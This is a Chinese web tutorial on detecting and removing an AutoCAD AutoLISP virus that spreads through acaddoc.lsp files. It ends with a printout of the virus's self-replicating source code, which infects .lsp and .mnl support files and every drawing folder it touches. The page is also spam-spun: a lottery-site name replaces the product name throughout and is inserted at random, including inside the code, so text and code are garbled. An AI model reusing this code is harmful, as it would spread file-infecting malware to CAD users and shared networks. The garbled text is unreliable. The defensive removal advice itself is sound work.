国彩网

  热门关键词:
位置:国彩网 > 制图教程

怎么清除 导致国彩网APP下载开图卡顿甚至无响应的国彩网APP下载病毒?

国彩网有网友说他的国彩网APP下载出了问题,国彩网APP下载软件启动时无响应或直接停止工作,重装后第一次启动没事,但打开一张图纸后就又有问题了。经过跟他交流后发现图纸目录下有一个acaddoc.lsp文件,一个纯文本的LSP文件,大小居然有200MB!将同名的文件都搜出来删除后,卸载软件重装后再次启动,居然又出来一个acaddoc.lsp,这次居然大小变成了900多MB。

国彩网今天又碰到网友遇到了类似问题,重装后打开图纸就又卡主了,结果发现也有这么个LSP文件,文件大小达到了700MB。还来遇到类似情况的网友还不少,之前发过关于这种国彩网APP下载病毒的文章,今天读了一下发现好多错别字,于是决定重新修改后再发一遍。

国彩网我将网友200MB的病毒文件复制过来了,当时简单看了一下代码,因为不会编程,也看不太懂,并没有找到将病毒彻底清除的方法。后来在网上查了一些资料,对此病毒有了更深入的了解,将这病毒的特征和解决方法简单给大家讲一下,可以帮助大家更好地预防和根除此病毒。

病毒简介:

该病毒可以被卡巴斯基和360杀毒软件查出,卡巴斯基查出病毒名为Virus.ALS.pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360查毒软件均不能将其彻底清除。

中毒症状:

机器中毒时,运行国彩网APP下载时,每打开一个DWG文件,均在DWG文件所在目录生成一个acaddoc.lsp的文件。每次开图,此病毒程序会被自动加载并进行一次病毒传播复制过程,病毒文件增大到一定程度后就会导致国彩网APP下载开图速度极慢甚至导致国彩网APP下载停止工作。

用记事本打开图纸目录下的acaddoc.lsp文件,或国彩网APP下载安装路径下的SUPPORT目录下的任意一个*.lsp文件,如果文件中含有与此文底部所附相同代码,即可判定为中毒。

但看代码来判断对于大多数人来说不太容易,可以用更简单的办法来判断,如果acaddoc.lsp文件大小超过100KB,估计就是病毒。

传播机理:

通过分析病毒的源代码,初步了解其传播机理如下:

如果机器已经中毒,国彩网APP下载打开新的DWG文件时,病毒程序就会自动加载。病毒会搜索国彩网APP下载工作目录下的acad.mnl文件,感染*.mnl文件,搜索acad的支持文件目录,感染目录下的所有*.lsp文件。同时病毒在当前打开的DWG文件所在目录下生成acaddoc.lsp文件,如果将图纸发送到其他机器时带上了这个LSP文件,只要在那台机器打开同目录的DWG,病毒就会起作用。如果将图纸放到服务器或共享目录下,而打开图纸的人有写目录的权限,其他人打开这张图纸也会感染病毒。

清除步骤:

国彩网1、首先退出国彩网APP下载。

国彩网2、全盘搜索acadapg.*/acadapp.*/acaddoc.*文件,然后彻底删除上述文件。

国彩网注意:在查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后再“高级选项”里勾选“搜索系统文件夹”、“搜索隐藏的文件和文件夹”、“搜索只读文件夹”。不同操作系统设置方法不同,如果不会请百度。总之是尽量将所有的同类文件都搜出来,全部删除。

如果搜出的文件无法删除,则先清空回收站,再搜索删除。

在一些专业软件,如天正、浩辰、探索者等的目录下也会有acaddoc.lsp文件,如果不确认是否被感染,请一并删除。删除后如果这些专业软件启动不正常,可以重新安装。

3、查看C盘根目录下是否有boot.dat文件,如果有的话,也将它删除掉。

4、进入当前用户的application DATA目录(在WINDOWS资源管理器或开始运行里输入%APPDATA%)可以快速进入此目录,找到AutodeskAutocad xxxx下面对应版本的Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与底部相同的代码(一般都在文件末尾),然后保存。然后将修改后的所有*.mnl文件属性设置为“只读”。

5、进入国彩网APP下载安装目录下的support目录,将改目录下的所有*.LSP用记事本打开,手动删除病毒代码。处理完记得将属性设置为“只读”。

6、如果本机安装有多个版本的国彩网APP下载,都需按上述步骤检查一次。

国彩网4-6三步处理太麻烦,处理不好还容易导致国彩网APP下载或LSP无法运行,所以遇到这种问题干脆将国彩网APP下载彻底卸载,然后将APPDATA和安装目录中残余的文件都删除,重新安装国彩网APP下载。

预防措施:

国彩网此病毒是通过读取图纸文件所在目录下的acaddoc.lsp来传播的。在接受其他人发过来的文件夹或压缩包时,不要直接打开图纸,应首先检查一下文件夹中是否还有此病毒文件。如果有的话,删除掉,同时也要告诉他有可能中毒了,并提醒其他同事或合作伙伴有中毒的危险。这一步是最重要的!从源头上把病毒堵住,就不会感染病毒了!

国彩网病毒会感染SUPPORT目录下的*.lsp文件,如果我们有一些常用的LSP程序,不要直接复制到国彩网APP下载的SUPPORT目录,可以新建一个文件夹,将自己常用的程序放到此目录下,然后再选项OP对话框中将此目录设置为支持文件搜索路径。

将国彩网APP下载中相关目录的*.mnl和*.lsp设置为只读,防止病毒将代码添加到这些文件中。

安装上360或卡巴斯基等杀毒软件,接受他人传来的文件首先杀毒。

不要从服务器或其他共享目录下直接打开DWG文件,将DWG文件复制到本地后再打开,如果必须在共享目录下工作,如果发现有类似病毒的LSP文件,必须让有管理权限的人及时处理,然后再对本机进行彻底清查。


病毒代码:

国彩网下面是从网友200MB的LSP文件中摘取的一段代码,应该是病毒的基础代码:

国彩网(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

  (setq flag nil)

  (setq flag1 t)

  (if (findfile target)

    (progn

      (setq wjm1 (open target "r"))

国彩网      (while (setq text (read-line wjm1))

    (if (= text bz) (setq flag1 nil))

    );while

      (close wjm1)

      );progn

    );if

国彩网  (if flag1

    (progn

国彩网      (setq wjm (open source "r"))

      (setq wjm1 (open target "a"))

      (write-line (chr 13) wjm1)

      (while (setq text (read-line wjm))

    (if (= text bz) (setq flag t))

    (if flag

国彩网      (progn

        (write-line text wjm1)

        );progn

      );if

国彩网    );while

国彩网      (close wjm1)

国彩网      (close wjm)

      );progn

    );if

国彩网  );defun

国彩网(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

国彩网(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

国彩网(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

  (progn

    (setq acaddocpath (vl-filename-directory dwgpath))

国彩网    (setq acaddocfile (strcat acaddocpath "\acaddoc.lsp"))

国彩网    (setq mnln 0)

    (while (< mnln mnlnum)

      (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))

国彩网      (app mnlfilename acaddocfile bz)

国彩网      (app acaddocfile mnlfilename bz)

      (setq mnln (1+ mnln))

      );while

    (setq lspn 0)

    (while (< lspn lspnum)

国彩网      (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))

国彩网      (app lspfilename acaddocfile bz)

国彩网      (app acaddocfile lspfilename bz)

国彩网      (setq lspn (1+ lspn))

国彩网      );while

    );progn

国彩网  );if

(setq mnln 0)

(while (< mnln mnlnum)

  (setq mnlfilename (strcat acadmnlpath "\" (nth mnln mnlfilelist)))

  (setq mnln1 0)

国彩网  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))

    (app mnlfilename mnlfilename1 bz)

国彩网    (setq mnln1 (1+ mnln1))

国彩网    );while

  (setq lspn1 0)

国彩网  (while (< lspn1 lspnum)

    (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))

国彩网    (app mnlfilename lspfilename1 bz)

国彩网    (setq lspn1 (1+ lspn1))

    );while

  (setq mnln (1+ mnln))

  );while

国彩网(setq lspn 0)

国彩网(while (< lspn lspnum)

国彩网  (setq lspfilename (strcat support "\" (nth lspn lspfilelist)))

  (setq lspn1 0)

  (while (< lspn1 lspnum)

国彩网    (setq lspfilename1 (strcat support "\" (nth lspn1 lspfilelist)))

国彩网    (app lspfilename lspfilename1 bz)

    (setq lspn1 (1+ lspn1))

国彩网    );while

  (setq mnln1 0)

  (while (< mnln1 mnlnum)

    (setq mnlfilename1 (strcat acadmnlpath "\" (nth mnln1 mnlfilelist)))

国彩网    (app lspfilename mnlfilename1 bz)

国彩网    (setq mnln1 (1+ mnln1))

国彩网    );while

国彩网  (setq lspn (1+ lspn))

(load "acadapq")

(princ)

(load "acadapp")

(princ)

国彩网然后这个文件后面还会多次重复加载acadapq和acadapp,上面的代码页会被多次复制,感觉病毒还会复制其他LSP文件的代码。文件一旦复制增大到一定程度,国彩网APP下载开图的时候重复运行大量代码,肯定会变慢甚至停止工作。

国彩网国彩网APP下载的病毒很好预防,只要自己注意一点,自己就不会中招!


  本文由机械5创作或整理,转载请注明出处:nicholletom.net/jiaocheng/609.html

发表评论
验证码 验证码加载失败